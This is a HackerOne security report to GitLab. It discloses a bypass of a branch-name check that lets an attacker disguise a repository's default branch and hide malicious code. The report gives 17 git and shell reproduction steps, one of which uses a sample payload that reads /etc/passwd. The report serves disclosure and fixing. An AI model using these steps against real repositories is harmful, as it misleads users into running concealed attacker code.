The main branch of a repository with a specially designed name allows an attacker to create repositories with malicious code. [Bypass #1864278].
HackerOne report #2031845 by st4nly0n on 2023-06-19, assigned to @ottilia_westerlund:
Report | Attachments | How To Reproduce
Report
Summary
Note: This is a bypass in the solution to issue #1864278.
When reviewing the file lib/gitlab/checks/branch_check.rb used to patch issue #1864278, I noticed that in the branch_check.rb file, it uses a regular expression %r{\A\h{40}(/|\z)} to evaluate if the branch name follows a certain pattern:
- 
\Arepresents the start of the string.
- 
\h{40}matches a sequence of 40 hexadecimal characters.
- 
(/|\z)matches a forward slash followed by additional characters or the end of the string.
The prohibited_branch_checks method checks if the branch name matches a specific pattern, which consists of a sequence of 40 hexadecimal characters optionally followed by a forward slash and other characters. If the branch name matches this pattern, an exception is thrown indicating that the branch name is prohibited. This means that the branch name abbebba53d99e36a1450934a8bf4352a7fecd4d8/main would be prohibited. However, you can bypass this restriction by adding a - character at the end of the hexadecimal string, resulting in abbebba53d99e36a1450934a8bf4352a7fecd4d8-/main. This would allow the same attack scenario described in the report #1864278 to occur.
The reproduction steps are almost the same as in #1864278. You just need to add the omission in steps 5, 6, 10, and 14. The modified steps are as follows:
 
Steps To Reproduce
- You must perform the following steps as the attacker user
1. Create a public repository (Initialize README.md).
 
2. Unprotect the main branch.
 
3. Clone and enter the repository:
git clone <repo>  
cd <repo>  
4. Create a hello.sh file, with harmless code:
echo "echo 'hello world'" > hello.sh  
5. Create a directory named -/main:
mkdir -p ./-/main  
6. Copy the README.md and hello.sh files to the -/main directory:
cp README.md ./-/main/ && cp hello.sh ./-/main/  
7. Delete git history:
git update-ref -d HEAD  
8. Confirm changes and push to remote:
git add .  
git commit -m 'Init'  
git push origin HEAD -f  
9. Create a shell variable with the date of the last commit:
GIT_COMMITTER_DATE=$(git show -s --format=%cd $(git rev-parse HEAD))  
10. Create a branch with the following format <last-commit-hash>-/main:
git checkout -b "$(git rev-parse HEAD)-/main"  
11. Push the branch to the remote:
git push origin HEAD -f  
12. From the web interface, change the default branch to <last-commit-hash>-/main created earlier.
 
13. Remove the main branch:
git push origin -d main  
14. Remove the -/main directory from the <last-commit-hash>-/<main> branch:
rm -rf ./-/main/  
15. Change the content of hello.sh with the payload of your choice:
echo 'cat /etc/passwd' > hello.sh  
16. Delete git history:
git update-ref -d HEAD  
17. Confirm the changes with the modified date and push to remote:
git add .  
git commit -m 'Init' --date "$GIT_COMMITTER_DATE"  
git push origin HEAD -f  
The following video shows the impact from the victim's point of view, the same as in #1864278.
Proof of concept repository
https://gitlab.com/user_A/1864278_bypass
 
Impact
The impact remains the same as in #1864278.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: